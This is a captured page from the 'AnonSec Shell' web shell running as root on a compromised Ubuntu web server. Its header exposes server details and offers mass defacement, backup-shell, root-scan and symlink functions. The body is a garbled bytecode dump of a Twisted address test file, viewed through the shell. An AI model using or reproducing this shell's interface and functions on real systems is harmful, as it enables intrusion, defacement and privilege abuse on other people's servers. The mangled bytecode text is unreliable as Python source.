AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_address.cpython-310.pyc
o

�bJ �@s,ddlZddlZddlmZddlmZmZmZmZddl	m
Z
ddlmZddl
mZmZe��ZzejWneyCdZYnwdZGd	d
�d
�ZGdd�de�ZGd
d�dee�ZGdd�dee�ZGdd�dee�ZGdd�dee�Zeed�Gdd�de��Zeed�Gdd�dee��ZdS)�N)�skipIf)�HostnameAddress�IPv4Address�IPv6Address�UNIXAddress)�nativeString)�platform)�SynchronousTestCase�TestCaseTFc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�AddressTestCaseMixincCs0|�|��|��k�|�|��|��k�dS)a
        Two different address instances, sharing the same properties are
        considered equal by C{==} and not considered not equal by C{!=}.

        Note: When applied via UNIXAddress class, this uses the same
        filename for both objects being compared.
        N)�
assertTrue�buildAddress�assertFalse��self�r�D/usr/lib/python3/dist-packages/twisted/internet/test/test_address.py�test_addressComparisonsz+AddressTestCaseMixin.test_addressComparisoncC�&|��}|di}|�||���dS)z�
        C{__hash__} can be used to get a hash of an address, allowing
        addresses to be used as keys in dictionaries, for instance.
        TN�r
r�r�addr�drrr�	test_hash)�zAddressTestCaseMixin.test_hashcCs\|�|��|��k�|�|��|��k�|�|��|��k�|�|��|��k�dS)z~
        Check that comparison operators work correctly on address objects
        when a different name is passed in
        N)rr
�buildDifferentAddressrrrrr�test_differentNamesComparison2sz2AddressTestCaseMixin.test_differentNamesComparisoncCsH|�|g�}|�|ddt�|�|dd|�|�t|�d�dS)z{
        Assert that the a DeprecationWarning with the given message was
        emitted against the given method.
        r�category�message�N)�
flushWarnings�assertEqual�DeprecationWarning�len)r�
testMethodr�warningsrrr�assertDeprecations=sz'AddressTestCaseMixin.assertDeprecationsN)�__name__�
__module__�__qualname__rrrr&rrrrrs
	rc@seZdZdZdS)�IPv4AddressTestCaseMixin�)�type�%s)�host�%r��portz%dN)r'r(r)�addressArgSpecrrrrr*Hsr*c@s$eZdZdZdZdd�Zdd�ZdS)�HostnameAddressTestsz+
    Test case for L{HostnameAddress}.
    ))�hostnamer-r0cC�
tdd�S)zw
        Create an arbitrary new L{HostnameAddress} instance.

        @return: A L{HostnameAddress} instance.
        sexample.comr�rrrrrr
S�
z!HostnameAddressTests.buildAddresscCr5)zw
        Like L{buildAddress}, but with a different hostname.

        @return: A L{HostnameAddress} instance.
        sexample.netrr6rrrrr7z*HostnameAddressTests.buildDifferentAddressN)r'r(r)�__doc__r2r
rrrrrr3Ls
r3c@�eZdZdd�Zdd�ZdS)�IPv4AddressTCPTestscC�tddd�S)z�
        Create an arbitrary new L{IPv4Address} instance with a C{"TCP"}
        type.  A new instance is created for each call, but always for the
        same address.
        �TCP�	127.0.0.1r�rrrrrr
e�z IPv4AddressTCPTests.buildAddresscCr;)�K
        Like L{buildAddress}, but with a different fixed address.
        r<�	127.0.0.2rr>rrrrrm�z)IPv4AddressTCPTests.buildDifferentAddressN�r'r(r)r
rrrrrr:d�r:c@r9)�IPv4AddressUDPTestscCr;)z�
        Create an arbitrary new L{IPv4Address} instance with a C{"UDP"}
        type.  A new instance is created for each call, but always for the
        same address.
        �UDPr=rr>rrrrr
ur?z IPv4AddressUDPTests.buildAddresscCr;)r@rFrArr>rrrrr}rBz)IPv4AddressUDPTests.buildDifferentAddressNrCrrrrrEtrDrEc@s eZdZdZdd�Zdd�ZdS)�IPv6AddressTestsr+cCr;)z�
        Create an arbitrary new L{IPv6Address} instance with a C{"TCP"}
        type.  A new instance is created for each call, but always for the
        same address.
        r<z::1r�rrrrrr
�r?zIPv6AddressTests.buildAddresscCr;)r@r<z::2rrHrrrrr�rBz&IPv6AddressTests.buildDifferentAddressN)r'r(r)r2r
rrrrrrG�srGz&Platform doesn't support UNIX sockets.c@sTeZdZdZdd�Zdd�Zdd�Zdd	�Zee	d
�dd��Z
ee	d
�d
d��ZdS)�UNIXAddressTests�)�namer/cCs|��|_|��|_dS�N)�mktemp�_socketAddress�
_otherAddressrrrr�setUp�s
zUNIXAddressTests.setUpcC�
t|j�S)z�
        Create an arbitrary new L{UNIXAddress} instance.  A new instance is
        created for each call, but always for the same address.
        �rrNrrrrr
�s
zUNIXAddressTests.buildAddresscCrQ)r@)rrOrrrrr��
z&UNIXAddressTests.buildDifferentAddresscCs"|�t|���dt|j��dS)zn
        The repr of L{UNIXAddress} returns with the filename that the
        L{UNIXAddress} is for.
        zUNIXAddress('%s')N)r!�reprr
rrNrrrr�	test_repr�s
�zUNIXAddressTests.test_repr�"Platform does not support symlinkscCs~|��}t|jd��+|_t�tj�|j�|�|�t	|j�t	|��|�t	|�t	|j��Wd�dS1s8wYdS)zU
        UNIXAddress objects compare as equal if they link to the same file.
        �wN)
rM�openrN�fd�os�symlink�path�abspathr!r�r�linkNamerrr�test_comparisonOfLinkedFiles�s"�z-UNIXAddressTests.test_comparisonOfLinkedFilescCsp|��}t|jd��$|_t�tj�|j�|�|�t	t
|j��t	t
|���Wd�dS1s1wYdS)zU
        UNIXAddress Objects that compare as equal have the same hash value.
        rWN)rMrXrNrYrZr[r\r]r!�hashrr^rrr�test_hashOfLinkedFiles�s�"�z'UNIXAddressTests.test_hashOfLinkedFilesN)r'r(r)r2rPr
rrUr�symlinkSkipr`rbrrrrrI�s


rIz&platform doesn't support UNIX sockets.c@sFeZdZdZdZdd�Zdd�Zdd�Zee	d	�d
d��Z
dd
�ZdS)�EmptyUNIXAddressTestszJ
    Tests for L{UNIXAddress} operations involving a L{None} address.
    rJcCs|��|_dSrL)rMrNrrrrrP�szEmptyUNIXAddressTests.setUpcCstd�S)z�
        Create an arbitrary new L{UNIXAddress} instance.  A new instance is
        created for each call, but always for the same address. This builds it
        with a fixed address of L{None}.
        N)rrrrrr
�sz"EmptyUNIXAddressTests.buildAddresscCrQ)zN
        Like L{buildAddress}, but with a random temporary directory.
        rRrrrrr�rSz+EmptyUNIXAddressTests.buildDifferentAddressrVcCs~|��}t|jd��+|_t�tj�|j�|�|�t	|j�t	d��|�t	d�t	|j��Wd�dS1s8wYdS)z�
        A UNIXAddress referring to a L{None} address does not
        compare equal to a UNIXAddress referring to a symlink.
        rWN)
rMrXrNrYrZr[r\r]�assertNotEqualrr^rrrr`�s"�z2EmptyUNIXAddressTests.test_comparisonOfLinkedFilescCr)z�
        C{__hash__} can be used to get a hash of an address, even one referring
        to L{None} rather than a real path.
        TNrrrrr�test_emptyHash�rz$EmptyUNIXAddressTests.test_emptyHashN)r'r(r)r8r2rPr
rrrcr`rfrrrrrd�s
rd)rZ�socket�unittestr�twisted.internet.addressrrrr�twisted.python.compatr�twisted.python.runtimer�twisted.trial.unittestr	r
�_supportsSymlinksrc�AF_UNIX�AttributeError�unixSkiprr*r3r:rErGrIrdrrrr�<module>s0

�+6

Anon7 - 2022
AnonSec Team